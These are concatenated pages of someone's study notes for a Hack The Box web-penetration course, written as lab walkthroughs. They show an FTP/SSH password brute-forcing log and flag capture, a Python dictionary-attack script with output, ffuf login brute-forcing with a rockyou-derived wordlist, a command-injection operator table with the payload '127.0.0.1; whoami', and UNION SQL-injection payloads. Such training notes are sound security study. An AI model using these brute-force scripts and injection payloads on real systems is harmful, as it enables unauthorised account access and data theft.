(1 of 15, 0 complete) Password: senha (10 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234567 (11 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwerty (12 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: abc123 (13 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: Million2 (14 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 000000 (15 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234 (16 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: iloveyou (17 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: aaron431 (18 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: password1 (19 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qqww1122 (20 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123 (21 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: omgpop (22 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123321 (23 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 654321 (24 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwertyuiop (25 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwer123456 (26 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456a (27 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: a123456 (28 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 666666 (29 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: asdfghjkl (30 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: ashley (31 of 198 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: chocolate! (32 of 198 complete) ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: thomas Password: chocolate! [SUCCESS] ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 1 complete) Password: 987654321 (33 of 198 complete) Copy ┌──(kali㉿kali)-[~/cbbh/bruteforce] └─$ ssh thomas@94.237.49.163 -p 44658 thomas@94.237.49.163's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ netstat -tulpn (No info could be read for "-p": geteuid()=1001 but you should be root.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ nmap localhost Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-12 20:33 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.000073s latency). Other addresses for localhost (not scanned): ::1 Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds # attempted to connect to the ftp server but was not successful thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ ftp ftp://thomas:chocolate!@localhost -bash: !@localhost: event not found thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ ls flag.txt thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ cat flag.txt HTB{brut3f0rc1ng_succ3ssful} Copy HTB{brut3f0rc1ng_succ3ssful} --- # Dictionary Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks.md) . LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks#lab) --------------------------------------------------------------------------------------------------------------- Copy import requests ip = "94.237.53.5" # Change this to your instance IP address port = 30890 # Change this to your instance port number # Download a list of common passwords from the web and split it into lines passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt").text.splitlines() # Try each password from the list for password in passwords: print(f"Attempted password: {password}") # Send a POST request to the server with the password response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password}) # Check if the server responds with success and contains the 'flag' if response.ok and 'flag' in response.json(): print(f"Correct password found: {password}") print(f"Flag: {response.json()['flag']}") break [PreviousBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks) [NextHybrid Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks) Last updated 1 year ago Copy ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-keoakwvpzv]─[~] └──╼ [★]$ python dictionary-solver.py Attempted password: 123456 Attempted password: password Attempted password: 12345678 Attempted password: 1234 Attempted password: pussy Attempted password: 12345 Attempted password: dragon Attempted password: qwerty Attempted password: 696969 Attempted password: mustang Attempted password: letmein Attempted password: baseball Attempted password: master Attempted password: michael Attempted password: football Attempted password: shadow Attempted password: monkey Attempted password: abc123 Attempted password: pass Attempted password: fuckme Attempted password: 6969 Attempted password: jordan Attempted password: harley Attempted password: ranger Attempted password: iwantu Attempted password: jennifer Attempted password: hunter Attempted password: fuck Attempted password: 2000 Attempted password: test Attempted password: batman Attempted password: trustno1 Attempted password: thomas Attempted password: tigger Attempted password: robert Attempted password: access Attempted password: love Attempted password: buster Attempted password: 1234567 Attempted password: soccer Attempted password: hockey Attempted password: killer Attempted password: george Attempted password: sexy Attempted password: andrew Attempted password: charlie Attempted password: superman Attempted password: asshole Attempted password: fuckyou Attempted password: dallas Attempted password: jessica Attempted password: panties Attempted password: pepper Attempted password: 1111 Attempted password: austin Attempted password: william Attempted password: daniel Attempted password: golfer Attempted password: summer Attempted password: heather Attempted password: hammer Attempted password: yankees Attempted password: joshua Attempted password: maggie Attempted password: biteme Attempted password: enter Attempted password: ashley Attempted password: thunder Attempted password: cowboy Attempted password: silver Attempted password: richard Attempted password: fucker Attempted password: orange Attempted password: merlin Attempted password: michelle Attempted password: corvette Attempted password: bigdog Attempted password: cheese Attempted password: matthew Attempted password: 121212 Attempted password: patrick Attempted password: martin Attempted password: freedom Attempted password: ginger Attempted password: blowjob Attempted password: nicole Attempted password: sparky Attempted password: yellow Attempted password: camaro Attempted password: secret Attempted password: dick Attempted password: falcon Attempted password: taylor Attempted password: 111111 Attempted password: 131313 Attempted password: 123123 Attempted password: bitch Attempted password: hello Attempted password: scooter Attempted password: please Attempted password: porsche Attempted password: guitar Attempted password: chelsea Attempted password: black Attempted password: diamond Attempted password: nascar Attempted password: jackson Attempted password: cameron Attempted password: 654321 Attempted password: computer Attempted password: amanda Attempted password: wizard Attempted password: xxxxxxxx Attempted password: money Attempted password: phoenix Attempted password: mickey Attempted password: bailey Attempted password: knight Attempted password: iceman Attempted password: tigers Attempted password: purple Attempted password: andrea Attempted password: horny Attempted password: dakota Attempted password: aaaaaa Attempted password: player Attempted password: sunshine Attempted password: morgan Attempted password: starwars Attempted password: boomer Attempted password: cowboys Attempted password: edward Attempted password: charles Attempted password: girls Attempted password: booboo Attempted password: coffee Attempted password: xxxxxx Attempted password: bulldog Attempted password: ncc1701 Attempted password: rabbit Attempted password: peanut Attempted password: john Attempted password: johnny Attempted password: gandalf Attempted password: spanky Attempted password: winter Attempted password: brandy Attempted password: compaq Attempted password: carlos Attempted password: tennis Attempted password: james Attempted password: mike Attempted password: brandon Attempted password: fender Attempted password: anthony Attempted password: blowme Attempted password: ferrari Attempted password: cookie Attempted password: chicken Attempted password: maverick Attempted password: chicago Attempted password: joseph Attempted password: diablo Attempted password: sexsex Attempted password: hardcore Attempted password: 666666 Attempted password: willie Attempted password: welcome Attempted password: chris Attempted password: panther Attempted password: yamaha Attempted password: justin Attempted password: banana Attempted password: driver Attempted password: marine Attempted password: angels Attempted password: fishing Attempted password: david Attempted password: maddog Attempted password: hooters Attempted password: wilson Attempted password: butthead Attempted password: dennis Attempted password: fucking Attempted password: captain Attempted password: bigdick Attempted password: chester Attempted password: smokey Attempted password: xavier Attempted password: steven Attempted password: viking Attempted password: snoopy Attempted password: blue Attempted password: eagles Attempted password: winner Attempted password: samantha Attempted password: house Attempted password: miller Attempted password: flower Attempted password: jack Attempted password: firebird Attempted password: butter Attempted password: united Attempted password: turtle Attempted password: steelers Attempted password: tiffany Attempted password: zxcvbn Attempted password: tomcat Attempted password: golf Attempted password: bond007 Attempted password: bear Attempted password: tiger Attempted password: doctor Attempted password: gateway Correct password found: gateway Flag: HTB{Brut3_F0rc3_M4st3r} --- # Brute-Forcing Passwords | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords.md) . Brute-Forcing Passwords[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords) -------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * After successfully identifying valid users, password-based authentication relies on the password as a sole measure for authenticating the user. Since users tend to select an easy-to-remember password, attackers may be able to guess or brute-force it. While password brute-forcing is not the focus of this module (it is covered in more detail in other modules referenced at the end of this section), we will still discuss an example of brute-forcing a password-based login form, as it is one of the most common examples of broken authentication. * * * ### Brute-Forcing Passwords[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords-1) Passwords remain one of the most common online authentication methods, yet they are plagued with many issues. One prominent issue is password reuse, where individuals use the same password across multiple accounts. This practice poses a significant security risk because if one account is compromised, attackers can potentially gain access to other accounts with the same credentials. This enables an attacker who obtained a list of passwords from a password leak to try the same passwords on other web applications ("Password Spraying"). Another issue is weak passwords based on typical phrases, dictionary words, or simple patterns. These passwords are vulnerable to brute-force attacks, where automated tools systematically try different combinations until they find the correct one, compromising the account's security. When accessing the sample web application, we can see the following information on the login page: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fpw_bf_1.png&width=768&dpr=3&quality=100&sign=f5bb1be3&sv=2) The success of a brute-force attack entirely depends on the number of attempts an attacker can perform and the amount of time the attack takes. As such, ensuring that a good wordlist is used for the attack is crucial. If a web application enforces a password policy, we should ensure that our wordlist only contains passwords that match the implemented password policy. Otherwise, we are wasting valuable time with passwords that users cannot use on the web application, as the password policy does not allow them. For instance, the popular password wordlist `rockyou.txt` contains more than 14 million passwords: Brute-Forcing Passwords Now, we can use `grep` to match only those passwords that match the password policy implemented by our target web application, which brings down the wordlist to about 150,000 passwords, a reduction of about 99%: Brute-Forcing Passwords To start brute-forcing passwords, we need a user or a list of users to target. Using the techniques covered in the previous section, we determine that admin is a username for a valid user, therefore, we will attempt brute-forcing its password. However, first, let us intercept the login request to know the names of the POST parameters and the error message returned within the response: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fpw_bf_2.png&width=768&dpr=3&quality=100&sign=b9f3ae6c&sv=2) HTTP request and response. Request: POST to /index.php with username and password as "admin". Response: "Invalid username or password." Upon providing an incorrect username, the login response contains the message (substring) "Invalid username", therefore, we can use this information to build our `ffuf` command to brute-force the user's password: Brute-Forcing Passwords After some time, we can successfully obtain the admin user's password, enabling us to log in to the web application: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fpw_bf_3.png&width=768&dpr=3&quality=100&sign=f43e5ead&sv=2) For more details on creating custom wordlists and attacking password-based authentication, check out the [Cracking Passwords with Hashcat](https://academy.hackthebox.com/module/details/20) and [Password Attacks](https://academy.hackthebox.com/module/details/147) modules. Further details on brute-forcing different variations of web application logins are provided in the [Login Brute Forcing](https://academy.hackthebox.com/module/details/57) module. #### What is one prominent issue with passwords?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#what-is-one-prominent-issue-with-passwords) A: password reuse #### What is the password of the user 'admin'?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#what-is-the-password-of-the-user-admin) Create the custom word list Now we have a custom wordlist that we can check he word count of Now we can fuzz the application for admin creds. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FYvnZ2fEBxsS9l7HDVg7F%252Fimage.png%3Falt%3Dmedia%26token%3D28d58bfb-b70a-4389-b25e-900f660cf7bd&width=768&dpr=3&quality=100&sign=9361a858&sv=2) A: Ramirez120992 [PreviousEnumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users) [NextBrute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens) Last updated 9 months ago * [Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords) * [Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords#brute-forcing-passwords-1) Copy Code4Christ@htb[/htb]$ wc -l /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt 14344391 /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt Copy Code4Christ@htb[/htb]$ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt Code4Christ@htb[/htb]$ wc -l custom_wordlist.txt 151647 custom_wordlist.txt Copy Code4Christ@htb[/htb]$ ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" <SNIP> [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4764ms] * FUZZ: Buttercup1 Copy grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt Copy wc -l custom_wordlist.txt 151647 custom_wordlist.txt Copy ┌──(kali㉿kali)-[~] └─$ ffuf -w ./custom_wordlist.txt -u http://83.136.255.106:41163/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" -t 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://83.136.255.106:41163/index.php :: Wordlist : FUZZ: /home/kali/custom_wordlist.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=admin&password=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Invalid username ________________________________________________ Ramirez120992 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 149ms] --- # Detection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection.md) . * * * The process of detecting basic OS Command Injection vulnerabilities is the same process for exploiting such vulnerabilities. We attempt to append our command through various injection methods. If the command output changes from the intended usual result, we have successfully exploited the vulnerability. This may not be true for more advanced command injection vulnerabilities because we may utilize various fuzzing methods or code reviews to identify potential command injection vulnerabilities. We may then gradually build our payload until we achieve command injection. This module will focus on basic command injections, where we control user input that is being directly used in a system command execution a function without any sanitization. To demonstrate this, we will use the exercise found at the end of this section. * * * ### Command Injection Detection[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-detection) When we visit the web application in the below exercise, we see a `Host Checker` utility that appears to ask us for an IP to check whether it is alive or not: ![Image of a Host Checker interface with a text field labeled 'Enter an IP Address' containing '127.0.0.1' and a 'Check' button below.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_exercise_1.jpg&width=300&dpr=3&quality=100&sign=786ed02c&sv=2) We can try entering the localhost IP `127.0.0.1` to check the functionality, and as expected, it returns the output of the `ping` command telling us that the localhost is indeed alive: ![Host Checker interface with a text field for entering an IP address, '127.0.0.1' entered, a 'Check' button, and ping results displayed below.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_exercise_2.jpg&width=300&dpr=3&quality=100&sign=26a39087&sv=2) Although we do not have access to the source code of the web application, we can confidently guess that the IP we entered is going into a `ping` command since the output we receive suggests that. As the result shows a single packet transmitted in the ping command, the command used may be as follows: Code: bash Copy ping -c 1 OUR_INPUT If our input is not sanitized and escaped before it is used with the `ping` command, we may be able to inject another arbitrary command. So, let us try to see if the web application is vulnerable to OS command injection. * * * ### Command Injection Methods[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-methods) To inject an additional command to the intended one, we may use any of the following operators: **Injection Operator** **Injection Character** **URL-Encoded Character** **Executed Command** Semicolon `;` `%3b` Both New Line `\n` `%0a` Both Background `&` `%26` Both (second output generally shown first) Pipe `|` `%7c` Both (only second output is shown) AND `&&` `%26%26` Both (only if first succeeds) OR `||` `%7c%7c` Second (only if first fails) Sub-Shell ` `` ` `%60%60` Both (Linux-only) Sub-Shell `$()` `%24%28%29` Both (Linux-only) We can use any of these operators to inject another command so `both` or `either` of the commands get executed. `We would write our expected input (e.g., an IP), then use any of the above operators, and then write our new command.` Tip: In addition to the above, there are a few unix-only operators, that would work on Linux and macOS, but would not work on Windows, such as wrapping our injected command with double backticks (` `` `) or with a sub-shell operator (`$()`). In general, for basic command injection, all of these operators can be used for command injections `regardless of the web application language, framework, or back-end server`. So, if we are injecting in a `PHP` web application running on a `Linux` server, or a `.Net` web application running on a `Windows` back-end server, or a `NodeJS` web application running on a `macOS` back-end server, our injections should work regardless. Note: The only exception may be the semi-colon `;`, which will not work if the command was being executed with `Windows Command Line (CMD)`, but would still work if it was being executed with `Windows PowerShell`. In the next section, we will attempt to use one of the above injection operators to exploit the `Host Checker` exercise. Try adding any of the injection operators after the ip in IP field. What did the error message say (in English)?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#try-adding-any-of-the-injection-operators-after-the-ip-in-ip-field.-what-did-the-error-message-say-i) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Try to inject this payload ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FucgeUFlUsqyzQaq4zNXB%252Fimage.png%3Falt%3Dmedia%26token%3D8366f28e-7d0c-48c0-a54d-12f234a65470&width=768&dpr=3&quality=100&sign=aede0b5c&sv=2) Answer: Please match the requested format [PreviousExploitation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation) [NextInjecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands) Last updated 1 year ago * [Command Injection Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-detection) * [Command Injection Methods](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#command-injection-methods) * [Try adding any of the injection operators after the ip in IP field. What did the error message say (in English)?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection#try-adding-any-of-the-injection-operators-after-the-ip-in-ip-field.-what-did-the-error-message-say-i) Copy // Some code 127.0.0.1; whoami --- # Union Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection.md) . * * * Now that we know how the Union clause works and how to use it let us learn how to utilize it in our SQL injections. Let us take the following example: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_cn.png&width=768&dpr=3&quality=100&sign=e5752b1b&sv=2) We see a potential SQL injection in the search parameters. We apply the SQLi Discovery steps by injecting a single quote (`'`), and we do get an error: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_quote.png&width=768&dpr=3&quality=100&sign=5f2781fa&sv=2) Since we caused an error, this may mean that the page is vulnerable to SQL injection. This scenario is ideal for exploitation through Union-based injection, as we can see our queries' results. * * * ### Detect number of columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#detect-number-of-columns) Before going ahead and exploiting Union-based queries, we need to find the number of columns selected by the server. There are two methods of detecting the number of columns: * Using `ORDER BY` * Using `UNION` **Using ORDER BY** The first way of detecting the number of columns is through the `ORDER BY` function, which we discussed earlier. We have to inject a query that sorts the results by a column we specified, 'i.e., column 1, column 2, and so on', until we get an error saying the column specified does not exist. For example, we can start with `order by 1`, sort by the first column, and succeed, as the table must have at least one column. Then we will do `order by 2` and then `order by 3` until we reach a number that returns an error, or the page does not show any output, which means that this column number does not exist. The final successful column we successfully sorted by gives us the total number of columns. If we failed at `order by 4`, this means the table has three columns, which is the number of columns we were able to sort by successfully. Let us go back to our previous example and attempt the same, with the following payload: Code: sql Reminder: We are adding an extra dash (-) at the end, to show you that there is a space after (--). As we see, we get a normal result: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_cn.png&width=768&dpr=3&quality=100&sign=e5752b1b&sv=2) Next, let us try to sort by the second column, with the following payload: Code: sql We still get the results. We notice that they are sorted differently, as expected: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Forder_by_2.jpg&width=768&dpr=3&quality=100&sign=355bbe8c&sv=2) We do the same for column `3` and `4` and get the results back. However, when we try to `ORDER BY` column 5, we get the following error: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Forder_by_5.jpg&width=768&dpr=3&quality=100&sign=d1be4ed3&sv=2) This means that this table has exactly 4 columns . **Using UNION** The other method is to attempt a Union injection with a different number of columns until we successfully get the results back. The first method always returns the results until we hit an error, while this method always gives an error until we get a success. We can start by injecting a 3 column `UNION` query: Code: sql We get an error saying that the number of columns don’t match: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_columns_diff.png&width=768&dpr=3&quality=100&sign=94bd9771&sv=2) So, let’s try four columns and see the response: Code: sql ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_columns_correct.png&width=768&dpr=3&quality=100&sign=5b9ad674&sv=2) This time we successfully get the results, meaning once again that the table has 4 columns. We can use either method to determine the number of columns. Once we know the number of columns, we know how to form our payload, and we can proceed to the next step. * * * ### Location of Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#location-of-injection) While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection. In the previous example, while the injected query returned 1, 2, 3, and 4, we saw only 2, 3, and 4 displayed back to us on the page as the output data: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fports_columns_correct.png&width=768&dpr=3&quality=100&sign=5b9ad674&sv=2) It is very common that not every column will be displayed back to the user. For example, the ID field is often used to link different tables together, but the user doesn't need to see it. This tells us that columns 2 and 3, and 4 are printed to place our injection in any of them. `We cannot place our injection at the beginning, or its output will not be printed.` This is the benefit of using numbers as our junk data, as it makes it easy to track which columns are printed, so we know at which column to place our query. To test that we can get actual data from the database 'rather than just numbers,' we can use the `@@version` SQL query as a test and place it in the second column instead of the number 2: Code: sql ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fdb_version_1.jpg&width=768&dpr=3&quality=100&sign=d0259d4&sv=2) As we can see, we can get the database version displayed. Now we know how to form our Union SQL injection payloads to successfully get the output of our query printed on the page. In the next section, we will discuss how to enumerate the database and get data from other tables and databases. Repeated steps from last example and got the DB version using this payload ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FyL248rjhoqzHqhnV1w6M%252Fimage.png%3Falt%3Dmedia%26token%3D2e88b640-fb37-41e7-b01e-ee5828e7abf2&width=768&dpr=3&quality=100&sign=d5f89efd&sv=2) Payload After: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FnvHPMdgd4KBoAx2mWVHN%252Fimage.png%3Falt%3Dmedia%26token%3D872fec44-b53c-4bf9-a2b6-85387c4d0a3b&width=768&dpr=3&quality=100&sign=13c6774f&sv=2) A: root@localhost [PreviousUnion Clause](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause) [NextExploitation](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation) Last updated 1 year ago * [Detect number of columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#detect-number-of-columns) * [Location of Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection#location-of-injection) Copy ' order by 1-- - Copy ' order by 2-- - Copy cn' UNION select 1,2,3-- - Copy cn' UNION select 1,2,3,4-- - Copy cn' UNION select 1,@@version,3,4-- - Copy 